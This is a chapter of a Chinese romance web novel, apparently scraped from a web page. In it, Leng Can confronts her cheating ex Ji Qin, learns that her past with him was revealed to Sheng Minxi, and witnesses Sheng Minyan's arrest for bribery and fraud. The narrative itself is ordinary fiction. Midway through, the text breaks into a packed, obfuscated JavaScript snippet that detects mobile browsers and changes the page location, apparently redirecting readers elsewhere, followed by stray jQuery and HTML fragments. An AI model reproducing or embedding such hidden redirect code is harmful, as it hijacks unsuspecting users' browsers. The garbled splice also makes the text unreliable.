冬雨停落,车门开着一半,冷灿要下车,盛旻析却攥着她的手,舍不得松开。
她看着他的眼睛,悠悠不舍之下氤氲着疲惫、压抑、无奈以及其他未曾见过的复杂,“旻析,你怎么了?你没事吧?”
冷灿担忧地问他,他只摇头,吝啬倾吐每一句话。
冷灿对这样的盛旻析不陌生,过去的他就这样,眼里深情款款,但什么都不说,什么事都藏在心里。
“旻析少爷,一会儿我们还有一个视频会议。”
吴秘书不合时宜地打断。那纠缠在一起的视线方才依依不舍地错开,盛旻析放开手,目送冷灿走进纪秦的小区。
没有怀疑猜忌,唯有信任。
车轮滚滚远走,冷灿的心仿佛也跟着盛旻析的车走远了一样,在体内落寞地跳动着,无处安放。
她笃定,旻析一定遇到了困难,不是被人胁迫,就是受人之托,不得不做着自己不喜欢的事情。
可是他什么都不告诉她,她苦恼于不知如何帮他。
纪秦家的门没有锁,冷灿推门进去时,心里想的还是盛旻析。她忧心忡忡的模样,让林昼觉得冷灿比她更需要安慰。
三个人,三个位置,冷灿站在门口,林昼坐在客厅,纪秦则在阳台上独自吸烟。
纪秦拨开烟雾,冲冷灿摆摆手:“我赶不走她,你快把她领回去,走得越远越好!”
林昼放下手机,手机界面上刚刚玩赢一局的游戏,她气急败坏地走过来说:“灿灿,我是两个小时前过来的,看到了他和其他女人睡在床上!”
冷灿朝纪秦的方向喊一声:“纪秦,你给我滚出来!”
纪秦走过来前猛吸了一口烟,眉宇伴着烟雾勾勒出极不耐烦的表情,他指着林昼说:“我们说好了周五见面,结果你周二过来,看到了不想看到的,然后怪我?”
“人呢?那个女孩呢?”冷灿问林昼。
林昼:“客客气气地走了…”
冷灿听着听着就走了神,想到了旧世界的自己,那天她闯入纪秦的家,看到纪秦和其他女生躺在床上,纪秦还向那个女孩解释说冷灿是他的表妹。
其实那也不过是不久之前的事情,但一切恍若隔世。
只听林昼开始发泄着愤怒:“灿灿,你知道吗?那个女孩才二十岁,他连一个孩子都不放过。”
林昼掌控不了这段感情,她就要找别人,尤其对纪秦重要的人,一起向纪秦施压。用道德绑架他!
冷灿不免代入自己,她想起来自己跟纪秦在一起的时候也就是二十一岁。那时,他总跟她说,爱是束缚,想要在爱和自由之间达到平衡,最好的关系就是维持身体上关系。
想到这里,那些惭愧、懊恼、自责又席卷而来,“狗屁理论…”冷灿在心里狠狠地咒骂纪秦那一套歪理邪说。
纪秦听到“孩子”两个字,突然暴跳如雷:“不要说得那么难听,人家成年了,知道自己要什么!我们是你情我愿的。”
冷灿的情绪一时陷入过去的泥潭,盛旻析的那双眼睛再次浮现脑海,他的声音不停地在脑中盘旋,一遍一遍地质问她,折磨她:“你都能跟他在床上厮混两年,叫我怎么信任你?”
“啪!”冷灿转身扇了纪秦一个耳光,声音清脆,室内骤然安静。
纪秦捂着脸颊,震惊地看着冷灿:“你打我干嘛?我又没背叛你?”
“收起你那一套自由理论!连一个二十岁的女生都骗,你就是个人渣。”她情绪激动,说给纪秦听,更是说给过去的自己听。
“呸!”
她“呸”给纪秦听,也“呸”给过去的自己听。
“你有病吧,跟你有什么关系?”纪秦斜视着冷灿,克制着还手的冲动。
“你爱的永远是你自己,你根本不知道爱是什么!”冷灿批判着纪秦,又像在批判着过去的自己。
她再次陷入不配得感,觉得自己这样的人不配拥有盛旻析的爱。情绪失控。
林昼和纪秦面面相觑,觉得冷灿不太对劲,只见她突然蹲下来,哭了起来。
她将脸埋在膝盖里,长发肆意散落,将她的脸包裹起来,冷灿先是小声啼哭,哭几声没忍住,又嚎啕大哭起来!
声音之大,让林昼和纪秦都冷静下来,林昼关心地问她:“灿灿,你怎么了?”
冷灿又突然站起来,把愧疚再次憋在心里,擦干眼泪,失魂落魄地深吸一口气:“没事。”
“我送你回家。”林昼也不想吵了,拉着冷灿开着纪秦的车送冷灿回家。
上了车林昼又像个没事人儿似的:“你的车没修好,你是怎么过来的?”
“遇见盛旻析了。”她提到他的名字,心潮就会涌动一下,想他,担心他,欠他的还不起他。
所有的念都因他所起,所有的烦恼都因他所生。
汽车缓缓行驶在夜间的街道上,街道蒙着一层薄薄的细雨,显得格外幽静。
林昼说:“我没想到你能过来。你应该知道,我跟纪秦在一起图什么?”
冷灿面无表情,一击即中:“图钱,图他的画能像过去一样创造奇迹!”
“是。不过也是有感情的。”林昼极力为刚刚的泼妇形象进行辩解:“你看着我像在争风吃醋,其实我是在战斗,我必须在我们的关系中占据主导。他可以和别人睡,但必须听我的。你明白吗?”
冷灿觉得林昼的话无聊至极,只有不爱才会算计。她的思绪又自动游走到盛旻析的事情上。
林昼见冷灿不搭话,只好自言自语:“我准备接触一些国外的展览机构,我猜外国人会欣赏纪秦的画,会对解读过去社会的人物更感兴趣…”
冷灿听着她的声音,想着盛旻析的安危,她猜测除了盛旻延,应该没人会清楚盛旻析的现状吧。
她对着手机里盛旻延的联系方式发着呆。
“你有没有在听我讲话?”林昼说。
“以后你们的事不要找我。”冷灿拨打电话,眉头紧皱。
林昼:“是纪秦找你的。跟我没关系。”
冷灿调整坐姿,清了清嗓子:“盛总,有时间吗?”
盛旻延的声音有些含糊不清,他说:“什么事?”冷灿仿佛隔着电话都能够闻到酒气,她从未见过盛旻延有过这般不清醒的时刻。
“想跟您聊聊旻析…”冷灿怕他不同意,紧接着说:“您可以提条件,什么都行,我想知道旻析的近况……”
盛旻延:“明天上午十点来公司,我们见面说。”
“好。”冷灿挂断电话,长舒一口气,她对自己的事都没这么紧张过,心里的巨石落地一半。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277094|172448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
林昼听到冷灿提到盛旻析,忽然想起一件事来:“对了,有一次我在盛旻析的酒吧喝多了,把你和纪秦的事告诉他了。”
“我和纪秦什么事?”冷灿预感一波未平一波又起。
林昼的语气稀疏平常:“就是你俩睡过两年的事啊,不过我当时就解释了。这个是旧世界的事,不是这个世界的事。”
“林昼!”冷灿的太阳穴扯着整张头皮嗡嗡阵痛,“这事跟你有关吗?”
“有啊…你刚刚也看到了…这正是我现在的苦恼啊!”林昼不以为然。
冷灿气得胸口起伏,咬着后槽牙:“你什么时候说的?”
“上个月月中吧。”林昼又解释一遍:“我当时记忆错乱,不过都跟他解释了。他没跟你提吗?他一定是没信,你们现在不是挺好的吗?”
冷灿扶着额头,默不作声,她厘着时间脉络,似乎知道了那几天他为什么突然消失的原因。最后还是靠冷灿装病把他喊回来的。
他回来,就表示他想清楚了,做好了接受这件事的准备了。
“呦,你怎么哭了?”林昼对冷灿的状态感到头疼,停好车,摩挲着她的后背:“这还是我认识的冷灿吗?”
冷灿把一张纸巾直接糊在脸上,呜呜说着:“他还是那样,包容我的所有。就像以前,我骗他那么多事,他也全然接受,从来不与我对峙。”
林昼看着冷灿哭个不停,先下了车,倚着车门点上一支烟,等她。
天色暗沉,烟雾袅袅,时间在林昼的眼里被拉长,她蔑视着冷灿的眼里的爱恨情仇,无情冷血的样子就像最初的冷灿一样。
在林昼心里,唯有光钥科技能够凌驾在她的理智之上。她的理想,一直都是创造一个光钥帝国。
一支烟熄灭,冷灿哭完下车。
林昼笑话她:“你怎么动不动就哭鼻子,不怕别人笑话啊?”
冷灿淡漠地说:“爱一个人没什么好笑的。”
林昼摇头。
……
第二天,冷灿来到傅氏集团时,时间尚早,盛旻延还在召开重要会议,她被安排在会议室外的休息椅上等候。
冷灿认真梳理着手里还有哪些可以和盛旻析交易的筹码,不经意地扣着手指,心乱如麻,不敢想象那些坏的结果,不能接受盛旻析卷入傅家纷争,他怕他再次被打得溃不成军。
她搓着手心的汗,向从会议室里出来的秘书询问会议什么时候结束,秘书却说会议才进行一半。
她想,她的筹码还有一千八百万、光钥秘密、傅瑾兰的战略……各个都能引起旻延的兴趣,换旻析的自由都不成问题。
时间一分一秒地漫漫走过。
突然,电梯一开,涌进来剧烈的嘈杂声,冷灿探身望去,十来位公安人员浩浩荡荡地朝会议室走过去。冷灿小心翼翼地跟在一旁,临到会议室门口,隐约听到门内传来警察的声音:“盛旻延涉嫌行贿、财务造假、恶意竞争…依据相关法律法规,予以逮捕。”
冷灿靠着墙边,看着从会议室里涌出更多的人,盛旻延带着手铐面无表情地走在最前面。
他回头看她,点头微笑。
冷灿读懂,他眼里的重托,是上次见面时,他说的:“照顾好旻析和我妈…”
她点头回应,匆匆别过。